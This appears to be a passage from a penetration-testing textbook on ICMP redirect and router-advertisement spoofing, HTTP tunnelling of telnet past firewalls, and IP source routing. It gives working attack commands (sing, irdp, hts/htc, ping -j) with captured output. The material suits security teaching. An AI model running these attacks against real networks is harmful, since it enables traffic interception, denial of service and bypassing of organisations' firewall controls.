4.7
Advanced
ICMP Techniques
ICMP was discussed previously when the use of ICMP inverse mapping
techniques and ICMP mask and time stamp requests were reviewed.
Other types of ICMP messages are the redirect and router
solicitation.
An ICMP redirect is typically generated by a router and indicates a
message from the router informing the receiving host to use a
different network route. This route is typically in the form of
using another default gateway as specified in the ICMP redirect
packet.
A host receiving an ICMP redirect request should update its routing
information accordingly, though it may be discarded if the specified
new router is not on the same subnet and or the source is not the
current first hop router.
ICMP redirects can be abused by attackers who generate fake ICMP
redirects causing all traffic to be routed, and therefore viewed via
an attacking machine. If an attacking machine is not on the same
subnet as the target then the targets default gateway could be
re-routed to a non-existent gateway, i.e. be used to conduct a very
hard to trace denial of service attack.
ICMP implementation varies from OS to OS. In the following example
we use a Windows 2000 Advanced Server as the target. Windows 2000
machines will add a host route with a 10-minute lifetime to its
route table for the destination IP address as specified in the ICMP
redirect. ICMP redirects are enabled by default on Windows 2000,
under the following registry key which is set to 1 for enable:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\EnableICMPRedirect
The below diagram shows how an ICMP redirect attack works with
respect to the attacker redirecting traffic through his machine
which is on the same subnet. On the Internet when the target is
unlikely to be on the same subnet, traffic can be re-routed to a
non-existent gateway to conduct a denial of service attack.
Figure 4.10 – ICMP Redirect – Man in the Middle Attack
The next diagram shows how an ICMP redirect attack works, with
respect to creating a very hard to trace denial of service attack.
Figure 4.11 – ICMP Redirect – Denial of Service Attack
To conduct this attack we use a tool called
Sing12
which is run from the attacker’s machine. Firstly before beginning
lets view the local routing table of the target machine, which is a
Windows 2000 Advanced Server. Note only the relevant output is
displayed below:
C:\>netstat -rn
Route Table
Active Routes:
Network Destination Netmask Gateway ..
Default Gateway: 128.1.6.2
===========================================================
Persistent Routes:
None
We see that our target which has an IP address of 128.1.4.231, has a
default gateway of 128.1.6.2.
Next from our attacking machine we generate the below ICMP redirect
message which is sent to the target (128.1.4.231) and is spoofed to
appear to be from the targets current default gateway of 128.1.6.2
telling the target to use a new default gateway of 128.1.4.234. The
0.0.0.0 parameter passed to sing tells the target to send all
packets to the new gateway.
We could specify only packets for a certain network to be sent to
the target such as 10.10.10.0, in which case we would specify the
network 10.10.10.0 instead of 0.0.0.0 which stands for all networks.
[root@localhost bin]# ./sing -red -S 128.1.6.2 -gw 128.1.4.234 -dest
0.0.0.0 -x host 128.1.4.231
SINGing to 128.1.4.231 (128.1.4.231): 36 data bytes
From the target we see the ICMP redirect arrive:
128.1.6.2 > 128.1.4.231: icmp: redirect 0.0.0.0 to host 128.1.4.234
Upon reviewing the targets routing table and see that it has been
updated with the new default gateway of 128.1.4.234, replacing
128.1.6.2 as shown in the first local route table output.
C:\>netstat -rn
Route Table
Active Routes:
Network Destination Netmask Gateway ..
Default Gateway: 128.1.4.234
===========================================================
Persistent Routes:
None
If the new gateway is the attacker’s machine and was running IP
forwarding (routing) and forwarded all packets to the original
gateway the victim would have no knowledge that his traffic was
being monitored. Look at the
sort.pl52 script for more
details on how to observe and filter for interesting traffic.
To successfully execute an ICMP redirect attack you would need to
know the targets current default gateway. This can be achieved via
guessing, or using source routing techniques as described later.
Router discovery provides an improved method of configuring and
detecting default gateways. Instead of using manually or DHCP
configured default gateways, hosts can dynamically discover routers
on their subnet. ICMP router solicitations can be abused by
attackers who send bogus ICMP solicitation requests and set a
targets default gateway to a machine which they control, thereby
enabling the attacker to monitor traffic to and from the target.
As mentioned above ICMP implementations vary from OS to OS but in
the following example we target a Windows 2000 machine.
When a Windows 2000 host that supports router discovery initialises,
it joins the all-systems IP multicast group (224.0.0.1), and then
listens for the router advertisements that routers send to that
group. Hosts can also send router-solicitation messages to the
all-routers IP multicast address (224.0.0.2) when an interface
initializes to avoid any delay in being configured. Windows 2000
sends a maximum of three solicitations at intervals of approximately
600 milliseconds.
In the following example we use a tool called
IRDP
from the
Internetwork Routing Protocol Attack Suite3
to
set a bogus default gateway on the target.
Figure 4.12 – ICMP Router Solicitation
All of the following configurations and commands are executed from
the attacking machine.
To execute this attack,
firstly we enable IP forwarding, thereby allowing the attacker route
traffic from the victim to the default gateway for the subnet:
attacker$ echo "1" > /proc/sys/net/ipv4/ip_forward
Next we send a reply to the IP address 128.1.3.130 telling it that
the sender is a router.
[root@fanta ipras]# irdp -i eth0 -D 128.1.3.130 –v
The below is the tcpdump trace for the above command which shows the
packet arriving.
18:34:03.545077 fanta > ak47.xyz.net: icmp: router advertisement
lifetime 30:00 1: {fanta 0}
If the target accepts the packet it will set the attackers machine
as its default gateway.
Network and IP security in particular is based around the premise of
being able to filter traffic based on rules. A typical rule which
is implemented in most organisations is to allow all internal users
access to the web by permitting all HTTP port 80 requests out,
typically through a proxy server and allowing all emails out through
a the mail servers SMTP port 25.
It
is possible to send anything through port 80 or 25 (or any other
port for that matter) it does not have to be HTTP or SMTP traffic.
An internal user can use protocol encapsulation or tunnelling
techniques to send any type of traffic through open communication
channels out through to the Internet. For example the allowed
network ports of HTTP and SMTP can be subverted to send interactive
Telnet traffic.
The only information the firewall or a filtering device has about a
particular connection, is the source and destination addresses and
port numbers. A firewall does not know what is inside the network
packet, it has no idea about its contents, and all it knows is the
IP and port information.
A
firewall can be fooled into allowing through a protocol that it is
supposed to be blocking. This is achieved by either changing the
port numbers associated with that protocol, or by using a protocol
tunnel. This way malicious users can abuse protocols in a way that
totally bypasses a firewall’s configured rule base.
Tunnelling has legitimate purposes and can be found on backbone
networks running the IP protocol which in-turn may tunnel IPX
traffic for example. Other examples of tunnelling can be abused to
allow unauthorised traffic through authorised channels.
In
the following examples we use a tool called
httptunnel23 to
create a tunnel from an internal network to the Internet. Linux and
Windows versions of Httptunnel area available. In the below examples
we use the Windows version, although all commands are identical for
the Linux version.
Proxy servers are typically used to proxy connections between
internal and external networks for Internet traffic such as web and
ftp. Httptunnel is able to send data into and out of a proxy server
and tunnel other applications within this connection. Even if a
proxy server is not used, Httptunnel can still fool a firewall
directly using the same techniques shown below.
The below diagram shows a typical connection request from an
internal user to an external website. The major assumption on part
of the firewall is that anything with a destination port of 80 is
web HTTP traffic.
Figure 4.13 – Protocol Tunnelling
With httptunnel it is possible to send what look like normal webpage
requests (HTTP GET’s) as shown above but then to use a tunnel to
send other data inside the HTTP packet. Once the packet hits the
target it is redirected from port 80 to the target port.
The below packet capture shows this tunnelling technique using a
real world example as captured from the server side which is
redirecting all requests to port 80 onto port 23, thereby tunnelling
a telnet session (port 23) through port 80:
GET /index.html?crap=1022484661 HTTP/1.0
<-
Request from client
Via: 1.1 proxy01.foo.net:8080 (Squid/2.3.STABLE4)
X-Forwarded-For: 128.1.4.231
Host: 202.151.216.161
Cache-Control: max-age=259200
Connection: keep-alive
HTTP/1.1 200 OK
<-
Reply from server: HTTP Header
Content-Length: 102400
Connection: close
Pragma: no-cache
Cache-Control: no-cache, no-store, must-revalidate
Expires: 0
Content-Type: text/html
**
Now follows the tunnelled Telnet Traffic **
...ÿý%ÿû.ÿû.ÿý'ÿý.ÿý.ÿû...+ÿú%...ÿðÿú'.ÿðÿú'..SFUTLNTVER.SFUTLNTMODEÿð..…ÿú%....t.......NTLMSSP.........0...•‚‚ÀZv³Ú.j.<........<.<.8...A.K.4.7.....A.K.4.7.....
A.K.4.7.....a.k.4.7.....a.k.4.7.............ÿð..¿ÿú%....ÿð
Telnet server could not log you in using NTLM authentication.
login: ...r...o...o...t...
password: ...ÿý....ÿú..ÿð..Î.[1;1H*===============================================================
.[2;1HWelcome to Microsoft Telnet Server.
As
seen above the tunnel needs to be configured to know what to do from
the client side and the server side. Consequently httptunnel
consists of two components, a server side service (hts) and a client
side connection program (htc).
In
the below example we illustrate how to configure the tunnelling of
telnet traffic through HTTP traffic. First we set-up the server side
connection by telling the server to direct all connection requests
which it receives for port 80 (http) to port 23 (telnet). This
server will typically sit on the Internet.
Obviously this server should have a telnet server service running.
It is recommended there not be any service on port 80.
E:\hts -F localhost:23 80
From the server we see that a port has opened up listening on port
80 and confirm that it is the hts process. We also see that the
telnet service is also running on port 23:
E:\netstat –nao
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:23 0.0.0.0:0 LISTENING 1732
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 640
E:\pulist | grep 640
hts.exe 640 AK47\root
Next on the client which will normally sits behind the firewall and
on an internal network we run htc, telling it to use the proxy (-P)
and to forward all connections from port 2323 (this value can be any
local free random port) to port 80 of the target server which in
this case is 202.151.216.161. If there is no proxy between the two,
then the –P can be omitted.
D:\>htc -F 2323 -P 192.168.13.1:8080 202.151.216.161:80
Localhost is the default configured loopback address of 127.0.0.1.
Do not get confused by the localhost specified on the server above
and the one specified below on the client, the two actually refer to
the two local machines (client and server) individually and not each
other.
Finally from the client side we telnet localhost on 2323 to connect
to the server on the Internet with a tunnelled telnet session:
D:\>telnet localhost 2323
Telnet server could not log you in using NTLM authentication.
Your password may have expired.
Login using username and password
Welcome to Microsoft Telnet Service
login:
Now we are able to telnet outside the firewall and conduct an
interactive telnet session to an external host tricking both the
proxy server and the firewall into thinking the traffic is HTTP
traffic.
If
we view all connections on the server we see that the internal proxy
servers NAT’ed IP address is connected to the server’s port 80. Note
that we see no connection to port 23 (the telnet service).
E:\netstat –nao
Proto Local Address Foreign Address State PID
TCP 202.151.216.161:80 215.17.66.126:54946 ESTABLISHED 640
TCP 202.151.216.161:80 215.17.66.126:54948 ESTABLISHED 640
If
we sniff the traffic generated on the client we see that there is
nothing to indicate that a telnet session is occurring:
15:37:37.221963 foo.2948 > proxy01.foo.net.8080: . 1:1(0) ack 1 win
16560 (DF) (ttl 128, id 20045)
15:37:37.222866 foo.2948 > proxy01.foo.net.8080: P 1:69(68) ack 1
win 16560 (DF) (ttl 128, id 20046)
15:37:37.222931 foo.2948 > proxy01.foo.net.8080: P 1:69(68) ack 1
win 16560 (DF) (ttl 128, id 20046)
There are a number of limitations of httptunnel such as that it
cannot handle multiple tunnels as separate instance must be run on
the server side for each client side connection. Read the
documentation with the program for full information.
Source routing is an IP option, which allows the originator of a
packet to specify what path that packet will take to and from a
remote destination. IP supports two types of source routing. The
first type is loose source routing, in which the IP address of the
next router can be one or more routers away (multiple hops). The
second type is strict source routing, in which the next router must
be a neighbouring router (single hop).
Source routing is useful when the default route that a connection
will take fails or is suboptimal for some reason. Source routing
only works on machines which serve a routing function, i.e. routers
and not normal machines. In reality most Internet routers have
source routing disabled. Source routing can be abused in a number of
ways, firstly as with ICMP redirects and ARP poisoning it can be
used to modify the path traffic takes and therefore network packets
can be directed to an attacking host for monitoring.
A more common use of source routing is to use it in combination with
IP spoofing to direct traffic to it rather than a host which never
originally sent the traffic. This way it is possible to impersonate
another host and have traffic directed to you rather than the true
host. Using this technique the limitations of ARP poisoning and ICMP
redirects, that of the need to be on the same subnet are removed.
A source routing attack can result in traffic being redirected to
any host anywhere on the network, including the Internet. The
limitations of IP spoofing most notably that you are never able to
establish a full bi-directional communication with the target, as
all sent spoofed packets will be replied to the spoofed source
address, which will since it never sent the packets drop the
traffic. Source routing can be used to remove this limitation,
providing all routers between it and the target permit this IP
option.
In the below examples we illustrate the use of source routing.
The tracert command-line utility which comes with most Windows
systems can be used with the -j option to force the outbound
datagram to pass through a specific router. The –j option sets the
IP source route option.
For example, if you typed tracert hosta, you may find that the path
used is as follows:
* router1
* router2
* router3
* router4
* hosta
You can find the path to router4 and back to your computer, which
will not always be the same path it took out, by typing:
tracert –j router4 <mycomputer>
or
tracert –j router4 another-router yet-another-router <mycomputer>
The route to router4 and back to your computer will be traced. In
this example, it would probably be:
* router1
* router2
* router3
* router2
* router1
* <mycomputer>
This way it is possible to bounce a trace attempt all round the
world and off other networks, giving the impression the probe is
coming from that network and not yourself.
Next we illustrate the loose source routing using the version of
ping which comes with Windows 2000. The ping -j option will allow
for a host-list to be specified which will set-up a loose source
route along the host-list.
An example is given below where a ping request to the machine AK47,
located in London is routed off routers 169.186.129.102 (in New
York) and 169.182.224.3 (in London), i.e. a very suboptimal route
which normally would not occur.
C:\>ping -j 169.182.224.3 169.186.129.102 ak47
Pinging ak47.eu.ssmb.com [169.182.227.245] with 32 bytes of data:
Reply from 169.182.227.245: bytes=32 time<10ms TTL=123
Route: 169.186.129.102 ->
169.182.224.3
Reply from 169.182.227.245: bytes=32 time<10ms TTL=123
Route: 169.186.129.90 ->
169.182.224.3
Reply from 169.182.227.245: bytes=32 time<10ms TTL=123
Route: 169.186.129.102 ->
169.182.224.3
Reply from 169.182.227.245: bytes=32 time<10ms TTL=123
Route: 169.186.129.90 ->
169.182.224.3
Sing12
and
Hping5
also have the functionality to use source routing, read their help
files for more information.